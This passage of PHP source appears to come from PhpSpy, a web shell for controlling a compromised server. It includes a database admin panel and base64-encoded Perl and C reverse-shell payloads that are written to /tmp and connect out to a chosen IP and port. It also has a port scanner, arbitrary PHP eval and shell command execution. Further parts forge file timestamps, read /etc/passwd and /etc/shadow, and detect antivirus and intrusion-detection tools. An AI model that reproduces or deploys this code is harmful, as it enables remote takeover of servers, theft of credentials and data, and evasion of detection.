  953.                     p('<td>Packed</td>');
  954.                     p('<td>Seq_in_index</td>');
  955.                     p('<td>Field</td>');
  956.                     p('<td>Cardinality</td>');
  957.                     p('<td>Collation</td>');
  958.                     p('<td>Null</td>');
  959.                     p('<td>Comment</td>');
  960.                     p('</tr>');
  961.                     foreach ($rowdb as $row) {
  962.                         $thisbg = bg();
  963.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  964.                         p('<td>'.$row['Key_name'].'</td>');
  965.                         p('<td>'.$row['Index_type'].'</td>');
  966.                         p('<td>'.($row['Non_unique'] ? 'No' : 'Yes').' </td>');
  967.                         p('<td>'.($row['Packed'] === null ? 'No' : $row['Packed']).' </td>');
  968.                         p('<td>'.$row['Seq_in_index'].'</td>');
  969.                         p('<td>'.$row['Column_name'].($row['Sub_part'] ? '('.$row['Sub_part'].')' : '').' </td>');
  970.                         p('<td>'.($row['Cardinality'] ? $row['Cardinality'] : 0).' </td>');
  971.                         p('<td>'.$row['Collation'].' </td>');
  972.                         p('<td>'.$row['Null'].' </td>');
  973.                         p('<td>'.$row['Comment'].' </td>');
  974.                         p('</tr>');
  975.                     }
  976.                     tbfoot();
  977.                 } elseif ($doing == 'insert' || $doing == 'edit') {
  978.                     $result = q('SHOW COLUMNS FROM '.$tablename);
  979.                     while ($row = mysql_fetch_array($result)) {
  980.                         $rowdb[] = $row;
  981.                     }
  982.                     $rs = array();
  983.                     if ($doing == 'insert') {
  984.                         p('<h2>Insert new line in '.$tablename.' table ?</h2>');
  985.                     } else {
  986.                         p('<h2>Update record in '.$tablename.' table ?</h2>');
  987.                         $where = base64_decode($base64);
  988.                         $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
  989.                         $rs = mysql_fetch_array($result);
  990.                     }
  991.                     p('<form method="post" action="'.$self.'">');
  992.                     p($dbform);
  993.                     makehide('action','mysqladmin');
  994.                     makehide('tablename',$tablename);
  995.                     p('<table border="0" cellpadding="3" cellspacing="0">');
  996.                     foreach ($rowdb as $row) {
  997.                         if ($rs[$row['Field']]) {
  998.                             $value = htmlspecialchars($rs[$row['Field']]);
  999.                         } else {
  1000.                             $value = '';
  1001.                         }
  1002.                         $thisbg = bg();
  1003.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  1004.                         if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') {
  1005.                             p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td>'.$value.' </td></tr>');
  1006.                         } else {                           
  1007.                             p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
  1008.                         }
  1009.                     }
  1010.                     if ($doing == 'insert') {
  1011.                         p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
  1012.                     } else {
  1013.                         p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
  1014.                         makehide('base64', $base64);
  1015.                     }
  1016.                     p('</table></form>');
  1017.                 } else {
  1018.                     $querys = @explode(';',$sql_query);
  1019.                     foreach($querys as $num=>$query) {
  1020.                         if ($query) {
  1021.                             p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
  1022.                             switch(qy($query))
  1023.                             {
  1024.                                 case 0:
  1025.                                     p('<h2>Error : '.mysql_error().'</h2>');
  1026.                                     break;  
  1027.                                 case 1:
  1028.                                     if (strtolower(substr($query,0,13)) == 'select * from') {
  1029.                                         $allowedit = 1;
  1030.                                     }
  1031.                                     if ($getnumsql) {
  1032.                                         $tatol = mysql_num_rows(q($getnumsql));
  1033.                                         $multipage = multi($tatol, $pagenum, $page, $tablename);
  1034.                                     }
  1035.                                     if (!$tablename) {
  1036.                                         $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
  1037.                                         $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
  1038.                                         preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
  1039.                                         $tablename = $matches[1][0];
  1040.                                     }

  1041.                                     /*********************/
  1042.                                     $getfield = q("SHOW COLUMNS FROM $tablename");
  1043.                                     $rowdb = array();
  1044.                                     $keyfied = ''; //主键字段
  1045.                                     while($row = @mysql_fetch_assoc($getfield)) {
  1046.                                         $rowdb[$row['Field']]['Key'] = $row['Key'];
  1047.                                         $rowdb[$row['Field']]['Extra'] = $row['Extra'];
  1048.                                         if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') {
  1049.                                             $keyfied = $row['Field'];
  1050.                                         }
  1051.                                     }
  1052.                                     /*********************/                                 
  1053.                                     //直接浏览表按照主键降序排列
  1054.                                     if ($keyfied && strtolower(substr($query,0,13)) == 'select * from') {
  1055.                                         $query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query);
  1056.                                     }

  1057.                                     $result = q($query);

  1058.                                     p($multipage);
  1059.                                     p('<table border="0" cellpadding="3" cellspacing="0">');
  1060.                                     p('<tr class="head">');
  1061.                                     if ($allowedit) p('<td>Action</td>');
  1062.                                     $fieldnum = @mysql_num_fields($result);
  1063.                                     for($i=0;$i<$fieldnum;$i++){
  1064.                                         $name = @mysql_field_name($result, $i);
  1065.                                         $type = @mysql_field_type($result, $i);
  1066.                                         $len = @mysql_field_len($result, $i);
  1067.                                         p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");
  1068.                                     }
  1069.                                     p('</tr>');

  1070.                                     while($mn = @mysql_fetch_assoc($result)){
  1071.                                         $thisbg = bg();
  1072.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  1073.                                         $where = $tmp = $b1 = '';
  1074.                                         //选取条件字段用
  1075.                                         foreach($mn as $key=>$inside){
  1076.                                             if ($inside) {
  1077.                                                 //查找主键、唯一属性、自动增加的字段,找到就停止,否则组合所有字段作为条件。
  1078.                                                 if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') {
  1079.                                                     $where = $key."='".addslashes($inside)."'";
  1080.                                                     break;
  1081.                                                 }
  1082.                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
  1083.                                                 $tmp = ' AND ';
  1084.                                             }
  1085.                                         }
  1086.                                         //读取记录用
  1087.                                         foreach($mn as $key=>$inside){
  1088.                                             $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
  1089.                                         }
  1090.                                         $where = base64_encode($where);

  1091.                                         if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');

  1092.                                         p($b1);
  1093.                                         p('</tr>');
  1094.                                         unset($b1);
  1095.                                     }
  1096.                                     p('<tr class="head">');
  1097.                                     if ($allowedit) p('<td>Action</td>');
  1098.                                     $fieldnum = @mysql_num_fields($result);
  1099.                                     for($i=0;$i<$fieldnum;$i++){
  1100.                                         $name = @mysql_field_name($result, $i);
  1101.                                         $type = @mysql_field_type($result, $i);
  1102.                                         $len = @mysql_field_len($result, $i);
  1103.                                         p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");
  1104.                                     }
  1105.                                     p('</tr>');
  1106.                                     tbfoot();
  1107.                                     p($multipage);
  1108.                                     break;
  1109.                                 case 2:
  1110.                                     $ar = mysql_affected_rows();
  1111.                                     p('<h2>affected rows : <b>'.$ar.'</b></h2>');
  1112.                                     break;
  1113.                             }
  1114.                         }
  1115.                     }
  1116.                 }
  1117.             } else {
  1118.                 $query = q("SHOW TABLE STATUS");
  1119.                 $table_num = $table_rows = $data_size = 0;
  1120.                 $tabledb = array();
  1121.                 while($table = mysql_fetch_array($query)) {
  1122.                     $data_size = $data_size + $table['Data_length'];
  1123.                     $table_rows = $table_rows + $table['Rows'];
  1124.                     $table['Data_length'] = sizecount($table['Data_length']);
  1125.                     $table_num++;
  1126.                     $tabledb[] = $table;
  1127.                 }
  1128.                 $data_size = sizecount($data_size);
  1129.                 unset($table);
  1130.                 p('<table border="0" cellpadding="0" cellspacing="0">');
  1131.                 p('<form action="'.$self.'" method="POST">');
  1132.                 makehide('action','mysqladmin');
  1133.                 p($dbform);
  1134.                 p('<tr class="head">');
  1135.                 p('<td width="2%" align="center"> </td>');
  1136.                 p('<td>Name</td>');
  1137.                 p('<td>Rows</td>');
  1138.                 p('<td>Data_length</td>');
  1139.                 p('<td>Create_time</td>');
  1140.                 p('<td>Update_time</td>');
  1141.                 if ($highver) {
  1142.                     p('<td>Engine</td>');
  1143.                     p('<td>Collation</td>');
  1144.                 }
  1145.                 p('<td>Operate</td>');
  1146.                 p('</tr>');
  1147.                 foreach ($tabledb as $key => $table) {
  1148.                     $thisbg = bg();
  1149.                     p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  1150.                     p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
  1151.                     p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');
  1152.                     p('<td>'.$table['Rows'].'</td>');
  1153.                     p('<td>'.$table['Data_length'].'</td>');
  1154.                     p('<td>'.$table['Create_time'].' </td>');
  1155.                     p('<td>'.$table['Update_time'].' </td>');
  1156.                     if ($highver) {
  1157.                         p('<td>'.$table['Engine'].'</td>');
  1158.                         p('<td>'.$table['Collation'].'</td>');
  1159.                     }
  1160.                     p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a></td>');
  1161.                     p('</tr>');
  1162.                 }
  1163.                 p('<tr class="head">');
  1164.                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
  1165.                 p('<td>Name</td>');
  1166.                 p('<td>Rows</td>');
  1167.                 p('<td>Data_length</td>');
  1168.                 p('<td>Create_time</td>');
  1169.                 p('<td>Update_time</td>');
  1170.                 if ($highver) {
  1171.                     p('<td>Engine</td>');
  1172.                     p('<td>Collation</td>');
  1173.                 }
  1174.                 p('<td>Operate</td>');
  1175.                 p('</tr>');
  1176.                 p('<tr class='.bg().'>');
  1177.                 p('<td> </td>');
  1178.                 p('<td>Total tables: '.$table_num.'</td>');
  1179.                 p('<td>'.$table_rows.'</td>');
  1180.                 p('<td>'.$data_size.'</td>');
  1181.                 p('<td colspan="'.($highver ? 5 : 3).'"> </td>');
  1182.                 p('</tr>');

  1183.                 p("<tr class="".bg().""><td colspan="".($highver ? 9 : 7).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$dbname.".sql" type="text" size="60" /> <input class="bt" type="submit" value="Export selection table" /></td></tr>");
  1184.                 makehide('doing','backupmysql');
  1185.                 formfoot();
  1186.                 p("</table>");
  1187.                 fr($query);
  1188.             }
  1189.         }
  1190.     }
  1191.     tbfoot();
  1192.     @mysql_close();
  1193. }//end mysql

  1194. elseif ($action == 'backconnect') {
  1195.     !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
  1196.     !$yourport && $yourport = '12345';
  1197.     $usedb = array('perl'=>'perl','c'=>'c');

  1198.     $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
  1199.         "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
  1200.         "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
  1201.         "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
  1202.         "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
  1203.         "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
  1204.         "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1205.     $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
  1206.         "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
  1207.         "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
  1208.         "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
  1209.         "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
  1210.         "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
  1211.         "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
  1212.         "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";

  1213.     if ($start && $yourip && $yourport && $use){
  1214.         if ($use == 'perl') {
  1215.             cf('/tmp/angel_bc',$back_connect);
  1216.             $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
  1217.         } else {
  1218.             cf('/tmp/angel_bc.c',$back_connect_c);
  1219.             $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  1220.             @unlink('/tmp/angel_bc.c');
  1221.             $res = execute("/tmp/angel_bc $yourip $yourport &");
  1222.         }
  1223.         m("Now script try connect to $yourip port $yourport ...");
  1224.     }

  1225.     formhead(array('title'=>'Back Connect'));
  1226.     makehide('action','backconnect');
  1227.     p('<p>');
  1228.     p('Your IP:');
  1229.     makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
  1230.     p('Your Port:');
  1231.     makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
  1232.     p('Use:');
  1233.     makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
  1234.     makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
  1235.     p('</p>');
  1236.     formfoot();
  1237. }//end

  1238. elseif ($action == 'portscan') {
  1239.     !$scanip && $scanip = '127.0.0.1';
  1240.     !$scanport && $scanport = '21,25,80,110,135,139,445,1433,3306,3389,5631,43958';
  1241.     formhead(array('title'=>'Port Scan'));
  1242.     makehide('action','portscan');
  1243.     p('<p>');
  1244.     p('IP:');
  1245.     makeinput(array('name'=>'scanip','size'=>20,'value'=>$scanip));
  1246.     p('Port:');
  1247.     makeinput(array('name'=>'scanport','size'=>80,'value'=>$scanport));
  1248.     makeinput(array('name'=>'startscan','value'=>'Scan','type'=>'submit','class'=>'bt'));
  1249.     p('</p>');
  1250.     formfoot();

  1251.     if ($startscan) {
  1252.         p('<h2>Result ?</h2>');
  1253.         p('<ul class="info">');
  1254.         foreach(explode(',', $scanport) as $port) {
  1255.             $fp = @fsockopen($scanip, $port, &$errno, &$errstr, 1);
  1256.             if (!$fp) {
  1257.                 p('<li>'.$scanip.':'.$port.' ------------------------ <span style="font-weight:bold;color:#f00;">Close</span></li>');
  1258.            } else {
  1259.                 p('<li>'.$scanip.':'.$port.' ------------------------ <span style="font-weight:bold;color:#080;">Open</span></li>');
  1260.                 @fclose($fp);
  1261.            }
  1262.         }
  1263.         p('</ul>');
  1264.     }
  1265. }

  1266. elseif ($action == 'eval') {
  1267.     $phpcode = trim($phpcode);
  1268.     if($phpcode){
  1269.         if (!preg_match('#<\?#si', $phpcode)) {
  1270.             $phpcode = "<?php\n\n{$phpcode}\n\n?>";
  1271.         }
  1272.         eval("?".">$phpcode<?");
  1273.     }
  1274.     formhead(array('title'=>'Eval PHP Code'));
  1275.     makehide('action','eval');
  1276.     maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
  1277.     p('<p><a href="http://w'.'ww.4ng'.'el.net/php'.'spy/pl'.'ugin/" target="_blank">Get plugins</a></p>');
  1278.     formfooter();
  1279. }//end eval

  1280. elseif ($action == 'editfile') {
  1281.     if(file_exists($opfile)) {
  1282.         $fp=@fopen($opfile,'r');
  1283.         $contents=@fread($fp, filesize($opfile));
  1284.         @fclose($fp);
  1285.         $contents=htmlspecialchars($contents);
  1286.     }
  1287.     formhead(array('title'=>'Create / Edit File'));
  1288.     makehide('action','file');
  1289.     makehide('dir',$nowpath);
  1290.     makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
  1291.     maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
  1292.     formfooter();

  1293.     goback();

  1294. }//end editfile

  1295. elseif ($action == 'newtime') {
  1296.     $opfilemtime = @filemtime($opfile);
  1297.     //$time = strtotime("$year-$month-$day $hour:$minute:$second");
  1298.     $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
  1299.     formhead(array('title'=>'Clone folder/file was last modified time'));
  1300.     makehide('action','file');
  1301.     makehide('dir',$nowpath);
  1302.     makeinput(array('title'=>'Alter folder/file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1303.     makeinput(array('title'=>'Reference folder/file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
  1304.     formfooter();
  1305.     formhead(array('title'=>'Set last modified'));
  1306.     makehide('action','file');
  1307.     makehide('dir',$nowpath);
  1308.     makeinput(array('title'=>'Current folder/file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1309.     p('<p>year:');
  1310.     makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
  1311.     p('month:');
  1312.     makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
  1313.     p('day:');
  1314.     makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
  1315.     p('hour:');
  1316.     makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
  1317.     p('minute:');
  1318.     makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
  1319.     p('second:');
  1320.     makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
  1321.     p('</p>');
  1322.     formfooter();
  1323.     goback();
  1324. }//end newtime

  1325. elseif ($action == 'shell') {
  1326.     if (IS_WIN && IS_COM) {
  1327.         if($program && $parameter) {
  1328.             $shell= new COM('Shell.Application');
  1329.             $a = $shell->ShellExecute($program,$parameter);
  1330.             m('Program run has '.(!$a ? 'success' : 'fail'));
  1331.         }
  1332.         !$program && $program = 'c:\windows\system32\cmd.exe';
  1333.         !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
  1334.         formhead(array('title'=>'Execute Program'));
  1335.         makehide('action','shell');
  1336.         makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
  1337.         p('<p>');
  1338.         makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
  1339.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1340.         p('</p>');
  1341.         formfoot();
  1342.     }
  1343.     formhead(array('title'=>'Execute Command'));
  1344.     makehide('action','shell');
  1345.     if (IS_WIN && IS_COM) {
  1346.         $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
  1347.         makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
  1348.     }
  1349.     p('<p>');
  1350.     makeinput(array('title'=>'Command','name'=>'command','value'=>htmlspecialchars($command)));
  1351.     makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1352.     p('</p>');
  1353.     formfoot();

  1354.     if ($command) {
  1355.         p('<hr width="100%" noshade /><pre>');
  1356.         if ($execfunc=='wscript' && IS_WIN && IS_COM) {
  1357.             $wsh = new COM('WScript.shell');
  1358.             $exec = $wsh->exec('cmd.exe /c '.$command);
  1359.             $stdout = $exec->StdOut();
  1360.             $stroutput = $stdout->ReadAll();
  1361.             echo $stroutput;
  1362.         } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
  1363.             $descriptorspec = array(
  1364.                0 => array('pipe', 'r'),
  1365.                1 => array('pipe', 'w'),
  1366.                2 => array('pipe', 'w')
  1367.             );
  1368.             $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
  1369.             if (is_resource($process)) {
  1370.                 fwrite($pipes[0], $command."\r\n");
  1371.                 fwrite($pipes[0], "exit\r\n");
  1372.                 fclose($pipes[0]);
  1373.                 while (!feof($pipes[1])) {
  1374.                     echo fgets($pipes[1], 1024);
  1375.                 }
  1376.                 fclose($pipes[1]);
  1377.                 while (!feof($pipes[2])) {
  1378.                     echo fgets($pipes[2], 1024);
  1379.                 }
  1380.                 fclose($pipes[2]);
  1381.                 proc_close($process);
  1382.             }
  1383.         } else {
  1384.             echo(execute($command));
  1385.         }
  1386.         p('</pre>');
  1387.     }
  1388. }//end shell

  1389. elseif ($action == 'phpenv') {
  1390.     $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
  1391.     $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
  1392.     !$dis_func && $dis_func = 'No';     
  1393.     $info = array(
  1394.         1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
  1395.         2 => array('Server Domain',$_SERVER['SERVER_NAME']),
  1396.         3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
  1397.         4 => array('Server OS',PHP_OS),
  1398.         5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
  1399.         6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
  1400.         7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
  1401.         8 => array('PHP run mode',strtoupper(php_sapi_name())),
  1402.         9 => array('The file path',__FILE__),

  1403.         10 => array('PHP Version',PHP_VERSION),
  1404.         11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:g(\'phpinfo\');">Yes</a>' : 'No')),
  1405.         12 => array('Safe Mode',getcfg('safe_mode')),
  1406.         13 => array('Administrator',$adminmail),
  1407.         14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
  1408.         15 => array('enable_dl',getcfg('enable_dl')),
  1409.         16 => array('display_errors',getcfg('display_errors')),
  1410.         17 => array('register_globals',getcfg('register_globals')),
  1411.         18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
  1412.         19 => array('memory_limit',getcfg('memory_limit')),
  1413.         20 => array('post_max_size',getcfg('post_max_size')),
  1414.         21 => array('upload_max_filesize',$upsize),
  1415.         22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
  1416.         23 => array('disable_functions',$dis_func),
  1417.     );

  1418.     if($phpvarname) {
  1419.         m($phpvarname .' : '.getcfg($phpvarname));
  1420.     }

  1421.     formhead(array('title'=>'Server environment'));
  1422.     makehide('action','phpenv');
  1423.     makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
  1424.     formfooter();

  1425.     $hp = array(0=> 'Server', 1=> 'PHP');
  1426.     for($a=0;$a<2;$a++) {
  1427.         p('<h2>'.$hp[$a].' ?</h2>');
  1428.         p('<ul class="info">');
  1429.         if ($a==0) {
  1430.             for($i=1;$i<=9;$i++) {
  1431.                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1432.             }
  1433.         } elseif ($a == 1) {
  1434.             for($i=10;$i<=23;$i++) {
  1435.                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1436.             }
  1437.         }
  1438.         p('</ul>');
  1439.     }
  1440. }//end phpenv

  1441. elseif ($action == 'secinfo') {

  1442.     secparam('Server software', @getenv('SERVER_SOFTWARE'));
  1443.     secparam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
  1444.     secparam('Open base dir', @ini_get('open_basedir'));
  1445.     secparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  1446.     secparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  1447.     secparam('cURL support', function_exists('curl_version')?'enabled':'no');
  1448.     $temp=array();
  1449.     if(function_exists('mysql_get_client_info'))
  1450.         $temp[] = "MySql (".mysql_get_client_info().")";
  1451.     if(function_exists('mssql_connect'))
  1452.         $temp[] = "MSSQL";
  1453.     if(function_exists('pg_connect'))
  1454.         $temp[] = "PostgreSQL";
  1455.     if(function_exists('oci_connect'))
  1456.         $temp[] = "Oracle";
  1457.     secparam('Supported databases', implode(', ', $temp));

  1458.     if( !IS_WIN ) {
  1459.         $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  1460.         $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  1461.         $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  1462.         secparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes" : 'no');
  1463.         secparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes" : 'no');
  1464.         secparam('OS version', @file_get_contents('/proc/version'));
  1465.         secparam('Distr name', @file_get_contents('/etc/issue.net'));
  1466.         $safe_mode = @ini_get('safe_mode');
  1467.         if(!$GLOBALS['safe_mode']) {
  1468.             $temp=array();
  1469.             foreach ($userful as $item)
  1470.                 if(which($item)){$temp[]=$item;}
  1471.             secparam('Userful', implode(', ',$temp));
  1472.             $temp=array();
  1473.             foreach ($danger as $item)
  1474.                 if(which($item)){$temp[]=$item;}
  1475.             secparam('Danger', implode(', ',$temp));
  1476.             $temp=array();
  1477.             foreach ($downloaders as $item)
  1478.                 if(which($item)){$temp[]=$item;}
  1479.             secparam('Downloaders', implode(', ',$temp));
  1480.             secparam('Hosts', @file_get_contents('/etc/hosts'));
  1481.             secparam('HDD space', execute('df -h'));
  1482.             secparam('Mount options', @file_get_contents('/etc/fstab'));
  1483.         }
  1484.     } else {
  1485.         secparam('OS Version',execute('ver'));
  1486.         secparam('Account Settings',execute('net accounts'));
  1487.         secparam('User Accounts',execute('net user'));
  1488.         secparam('IP Configurate',execute('ipconfig -all'));
  1489.     }
  1490. }//end

  1491. else {
  1492.     m('Undefined Action');
  1493. }

  1494. ?>
  1495. </td></tr></table>
  1496. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
  1497.     <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
  1498.     Powered by <a title="Build 20110502" href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> 2011</a>. Copyright (C) 2004-2011 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
  1499. </div>
  1500. </body>
  1501. </html>

  1502. <?php

  1503. /*======================================================
  1504. 函数库
  1505. ======================================================*/

  1506. function secparam($n, $v) {
